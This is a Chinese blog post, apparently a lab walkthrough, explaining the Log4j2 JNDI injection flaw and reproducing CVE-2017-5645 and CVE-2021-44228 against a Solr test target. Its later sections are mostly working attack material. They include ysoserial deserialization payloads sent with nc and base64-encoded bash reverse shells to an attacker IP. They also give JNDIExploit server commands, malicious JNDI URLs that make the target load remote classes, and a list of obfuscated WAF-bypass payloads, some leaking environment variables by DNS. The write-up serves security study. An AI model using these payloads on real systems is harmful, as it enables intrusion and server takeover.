目 录CONTENT

文章目录

Log4j2漏洞

Administrator
2024-11-18 / 0 评论 / 0 点赞 / 22 阅读 / 0 字

一、Log4j2介绍

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

   2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。

2021年的IT圈被爆出的log4j2漏洞闹的沸沸扬扬,log4j2作为一个优秀的java程序日志监控组件,被应用在了各种各样的衍生框架中,同时也是作为目前java全生态中的基础组件之一,这类组件一旦崩塌将造成不可估量的影响。从Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’

要了解认识log4j2,就不得讲讲java的日志体系,在最早的2001年之前,java是不存在日志库的,打印日志均通过System.out和System.err来进行,缺点也显而易见,列举如下:

+大量IO操作;

+无法合理控制输出,并且输出内容不能保存,需要盯守;

+无法定制日志格式,不能细粒度显示;

二、起源~

在2001年,软件开发者Ceki Gulcu设计出了一套日志库也就是log4j(注意这里没有2)。后来log4j成为了Apache的项目,作者也加入了Apache组织。这里有一个小插曲,Apache组织建议过sun公司在标准库中引入log4j,但是sun公司可能有自己的小心思,所以就拒绝了建议并在JDK1.4中推出了自己的借鉴版本JUL(Java Util Logging)。不过功能还是不如Log4j强大。使用范围也很小。

由于出现了两个日志库,为了方便开发者进行选择使用,Apache推出了日志门面JCL(Jakarta Commons Logging)。它提供了在运行时动态的绑定日志实现组件来工作(如log4j、java.util.logging)。导入哪个就绑定哪个,不需要再修改配置一个日志抽象层,。当然如果没导入的话他自己内部有一个Simple logger的简单实现,但是功能很弱,直接忽略。架构如下图:

在2006年,log4j的作者Ceki Gulcu 离开了Apache组织后觉得JCL不好用,于是自己开发了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j需要使用桥接包来和日志实现组件建立关系。由于Slf4j每次使用都需要配合桥接包,作者又写出了Logback日志标准库作为Slf4j接口的默认实现。其实根本原因还是在于log4j此时无法满足要求了。以下是桥接架构图:

到了2012年,Apache可能看不要下去要被反超了,于是就推出了新项目Log4j2并且不兼容Log4j,全面借鉴Slf4j+Logback。此  次借鉴比较成功。

Log4j2不仅仅具有Logback的所有特性,还做了分离设计,分为log4j-api和log4j-core,log4j-api是日志接口,log4j-core是日志标准库,并且Apache也为Log4j2提供了各种桥接包

到目前为止Java日志体系被划分为两大阵营,分别是Apache阵营和Ceki阵营。


三、Log4j2漏洞原理

Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi ——Lookup,模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源 并执行其中的代码,从而造成远程代码执行漏洞。

log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。log4j的功能非常强大,开发人员除了直接记录文本外,还可以使用简单表达式记录动态内容,例如:

logger.info("system propety: ${sys:user.dir}");

jndi 解析器将通过 jdk 获取 jndi 对象,并使用这个 jndi 对象替换原有文本进行打印。 我们将 jndi 对象理解成为一个从程序外部获取的 Java 程序对象就可以了。jdk中提供了多种不同 jndi 对象的获取方式,获取方式可以称为schema,所以正常的包含jndi的日志记录方式如下:

logger.info("system propety: ${jndi:schema://url}");

上述schema和url需替换成真实的内容方可生效。

其中,schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。

url是几种不同的schema下jndi的路径。不同的schema,url路径的配置方法不同。常用的schame是ldap,其url写法比较简单:jndi:ldap://xxx.dnslog.cn

jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。

如果攻击者能够控制日志打印的内容,就可以使目标服务器从攻击者指定的任意url地址下载代码字节流,攻击者在字节流中附带的代码就会在目标服务器上执行。

那么问题来了,攻击者如何控制服务器上记录的日志内容呢?

非常简单! 大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。

开发人员一般会使用log4j2在日志中输出一些变量,log4j2 除了可以输出程序中的变量,它还提供了多种lookup功能插件,可以用来查找更多数据用于输出。lookup在log4j2中,就是允许在输出日志的 时候,通过多种方式去查找要输出的内容,其中就可以使用Jndi Lookup 。

JNDI(Java Naming and Directory Interface,JAVA命名和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI下面有很多目录接口,用于不同的数据源的查找引用。

JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

LDAP(轻型目录访问协议):是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问 控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈 树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。

​RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机 的对象的方法。

image-dclt.png

1、攻击者向存在风险的接口发送恶意payload:${jndi:ldap://localhost:9999/Test} 。

2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。(接口会将前端输入直接通过日志打印出来)

3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。

4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。

5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。

1、攻击者发送带有恶意Ldap内容的字符串,让服务器通过log4j2打印。

2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。

3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。

4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。 

Kali更换java步骤

1 kali下载Java 8安装包
https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
2 上传并解压安装包
mkdir -p /usr/local/java  
mv jdk-8u202-linux-x64.tar.gz /usr/local/java  
cd /usr/local/java  
sudo tar -zxvf jdk-8u202-linux-x64.tar.gz
3 配置环境变量

打开/etc/profile文件并添加以下行来设置JAVA_HOME环境变量和将Java的bin目录添加到PATH中。

sudo vim /etc/profile

在文件的末尾添加以下内容(注意替换``为你的JDK 8版本号):

JAVA_HOME=/usr/local/java/jdk1.8.0_202
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

保存并关闭文件。

4 注册安装jdk8

依次执行以下三条命令: 记得把路径里面的jdk文件名修改成你自己的

update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
5 设置默认jdk
update-alternatives --set java /usr/local/java/jdk1.8.0_202/bin/java
update-alternatives --set javac /usr/local/java/jdk1.8.0_202/bin/javac
update-alternatives --set javaws /usr/local/java/jdk1.8.0_202/bin/javaws
6 使环境变量生效

运行以下命令使新的环境变量配置生效:

source /etc/profile
7 验证Java安装

运行以下命令来验证Java是否已成功安装并配置正确:

java -version

四、CVE-2017-5645

先查看kali的java版本

版本太高是用不了的,所以要降到java8

漏洞复现

POC

工具下载

ysoserial-0.0.6-SNAPSHOT-all.jar

ysoserial-all.jar

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5  "touch /tmp/success" | nc 192.168.100.104 4712

在靶机中查看

反弹shell

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 192.168.100.104 4712

查看监听

五、CVE-2021-44228

攻击机:192.168.100.100
靶机:192.168.100.104

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

这个靶场只支持 ldap 服务,所以只能用 ldap 来访问。

DNSlog测试:http://www.dnslog.cn/

在DNSlog平台请求一个dns域名:

http://192.168.100.104:8983/solr/admin/cores?action=${jndi:ldap://rfk88l.dnslog.cn}

在DNS网站得到记录,说明存在 Log4j 漏洞!

http://192.168.100.104:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.rfk88l.dnslog.cn}


反弹shell:

通过两种方式来复现。

方式一:JNDIExploit

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

通过 JNDIExploit 工具来反弹shell(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)下载完成后需要进行编译,进入文件目录后执行:

mvn clean package -DskipTests

没有mvn的话安装一下

apt install maven -y

验证一下

mvn -v

再安装

这里的192.168.100.100是攻击机的IP,服务在攻击机上启动,让靶机去访问。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.100.100

生成rmi远程执行代码地址:

rmi://192.168.100.100:1099/7aldd8

构造JNDI注入payload:

${jndi:rmi://192.168.100.100:1099/7aldd8}

开启nc监听:

nc -lnvp 10000

将payload插入action后访问执行:

http://192.168.100.104:8983/solr/admin/cores?action=${jndi:rmi://192.168.100.100:1099/7aldd8}

查看服务

收到反弹shell

另一种JNDIExploit-1.4-SNAPSHOT.jar

这个我没下载到jar包。。。

target 目录中开启服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.100 

然后去靶机上执行

http://192.168.100.104:8983/solr/admin/cores?action=${jndi:ldap://192.168.100.100:1389/Basic/ReverseShell/192.168.100.100/10000}

查看服务

收到shell

拓展

Log4j2 利用链与Waf绕过分析

https://myzxcg.com/2022/01/Log4j2-利用链与Waf绕过分析/

Loggers日志器分root日志器自定义日志器,当根据日志名字获取不到指定的日志器时就使用Root作为默认的日志器。自定义时需要指定每个Logger的名称、日志级别等。此外,还需要配置一个或多个输出源AppenderRef

每个logger可以指定一个level,不指定时默认为ERROR。低于此等级的日志信息不会被记录,只有高于或等于此等级的信息会被记录。

级别由高到低共分为6个:fatal, error, warn, info, debug, trace

Log4j2绕过jdk高版本拿shell

https://rivers.chaitin.cn/blog/cqp29g10lnec5jjugasg

Log4j2复现及绕过

https://songshare.cn/index.php/archives/59/

payload

${jndi:ldap://127.0.0.1:1389/ badClassName} 
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk

-.-

0

评论区